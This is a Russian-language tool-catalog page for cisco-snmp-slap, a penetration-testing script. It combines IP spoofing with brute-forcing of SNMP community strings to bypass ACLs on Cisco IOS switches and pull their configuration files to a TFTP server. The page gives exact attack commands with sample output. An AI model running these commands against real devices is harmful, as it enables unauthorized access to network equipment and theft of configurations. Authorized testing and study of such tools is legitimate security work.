Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Cisco-SNMP-Slap — Инструмент для IP-спуфинга и брутфорса SNMP community-строк, предназначенный для обхода ACL на устройствах Cisco IOS и экфильтрации файлов конфигурации через TFTP. | Kitploit
Инструменты/GitHubGitHub/nccgroup/cisco-snmp-slap
Атаки на ПаролиАнализ уязвимостейЭксплуатацияСбор информацииСетевая безопасностьТестирование на ПроникновениеRed Teaming
GitHubnccgroup/cisco-snmp-slap

Cisco-SNMP-Slap

Инструмент для IP-спуфинга и брутфорса SNMP community-строк, предназначенный для обхода ACL на устройствах Cisco IOS и экфильтрации файлов конфигурации через TFTP.

Репозиторий
581511 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ОБЗОР

cisco-snmp-slap использует спуфинг IP-адресов для обхода ACL, защищающего SNMP-сервис на устройстве Cisco IOS.

Обычно IP-спуфинг имеет ограниченное применение в реальных атаках, кроме DoS. Любая TCP- служба не может завершить начальное рукопожатие. UDP-пакеты подделать проще, но ответный пакет часто отправляется на неправильный адрес, что затрудняет сбор любой возвращаемой информации.

Однако если злоумышленник может угадать SNMP-community строку с правами rw и действительный исходный адрес, он может задавать SNMP MIB. Одно из наиболее очевидных применений этого — заставить SNMP-сервис Cisco отправить свой файл конфигурации IOS на другое устройство.

Этот инструмент позволяет перебирать одну или несколько community-строк на устройстве Cisco с одного или нескольких IP-адресов. При указании IP-адресов вы можете выбрать последовательный или случайный проход по диапазону исходных адресов.

Для указания диапазона исходных IP-адресов проверки задаются начальный исходный адрес и IP-маска. Любые установленные биты в IP-маске используются для генерации исходных IP-адресов путём изменения начального исходного адреса.

Например, если указан исходный адрес 10.0.0.0 с IP-маской 0.0.0.255, скрипт проверит адреса от 10.0.0.0 до 10.0.0.255.

Установленные биты не обязаны быть последовательными, как в маске подсети. Например, маска 0.128.1.255 допустима, и будут проверяться диапазоны 10.0,128.0-1.0-255.

При проверке диапазона IP-адресов случайным или последовательным способом требуется указать путь к корню TFTP-каталога. Скрипт будет проверять этот каталог, чтобы определить, был ли файл успешно передан.

Этот инструмент был написан для атак на коммутаторы Cisco уровня 3 (layer 3) во время пентестов, хотя у него могут быть и другие применения. Он хорошо работает против этих устройств, потому что:

  1. коммутаторы уровня 3 редко имеют настроенную проверку обратного пути, по опыту автора
  2. нет маршрутизаторов или других устройств, которые могли бы обнаружить, что происходит IP-спуфинг.

Впрочем, я надеюсь, что пользователи найдут другие интересные применения этого скрипта и его исходного кода.

ИСПОЛЬЗОВАНИЕ

В этом примере я возьму простое устройство IOS с access-списком, защищающим SNMP-сервис с помощью community-строки 'cisco'

root@kitploit:~
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10

IP-адрес устройства IOS — 10.0.0.1.

У пентестера есть IP-адрес 10.0.0.2, и он запустил TFTP-сервер.

Если тестер знает всё это, он использует одноразовый одиночный режим, чтобы забрать файл конфигурации устройства. Например:

root@kitploit:~
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1

Если тестер не знает деталей, он может попробовать угадать. Допустим, тестер провёл разведку и выяснил, что все внутренние адреса находятся в диапазоне 10.0.0.0/8.

root@kitploit:~
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/

Эта команда будет перебирать все /24. Тестер надеется сэкономить время, предполагая, что доступ будет разрешён всей подсети, а не только одному IP-адресу.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community String:   cisco
TFTP Server IP  :   10.0.0.2
Source IP:          10.0.0.5
Source Mask:        0.255.255.0
Destination IP:     10.0.0.1
TFTP Root Path:     /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!

Вы заметите, что программа завершается и сообщает об успехе через несколько IP-адресов после входа в диапазон 10.100.100.0/24. Это связано с тем, что невозможно определить, какой исходный адрес оказался успешным, но определяется, что один из запросов был успешным после появления файла конфигурации в tftproot. Раз вы только что заполучили текущую конфигурацию, теперь можете сами узнать детали ACL.

Вместо указания одной community-строки можно также передать список строк, которые следует использовать. Имена режимов те же, за исключением суффикса '_l'.

Например, чтобы повторить ту же атаку со списком community-строк в файле list.txt, следует использовать следующие аргументы.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP  :   10.0.0.2
Source IP:  10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded:  ['private\n', 'cisco\n', 'public\n']
10.0.0.5 /  private
10.0.0.5 /  cisco
10.0.0.5 /  public
10.0.1.5 /  private
10.0.1.5 /  cisco
10.0.1.5 /  public
10.0.2.5 /  private
10.0.2.5 /  cisco
10.0.2.5 /  public
10.0.3.5 /  private
10.0.3.5 /  cisco
10.0.3.5 /  public

Теперь каждый IP-адрес проверяется с каждой community-строкой из list.txt.

ПОДДЕРЖКА

Среди языков программирования Python — простой язык, лёгкий для чтения и написания, и я призываю вас попытаться отладить и исправить любые найденные проблемы и прислать мне свои изменения, чтобы я мог поделиться ими с другими пользователями в NCC Github.

Но если вам нужна помощь, вы можете связаться со мной по адресу [email protected]. Я сделаю всё возможное, чтобы помочь, но учтите, что я не работаю разработчиком полный рабочий день (что, вероятно, очевидно из моего кода!) и у меня может не быть времени сразу ответить на ваш запрос.

ВЕРСИИ

  • 0.1 Начальная версия
  • 0.2 Добавлены случайный и последовательный режимы и маски исходных адресов
  • 0.3 Добавлена функция списка community-строк из файла, первая публичная версия
  • 0.3.1 теперь используется os.sep, чтобы пути корректно работали в Windows
Скачать инструмент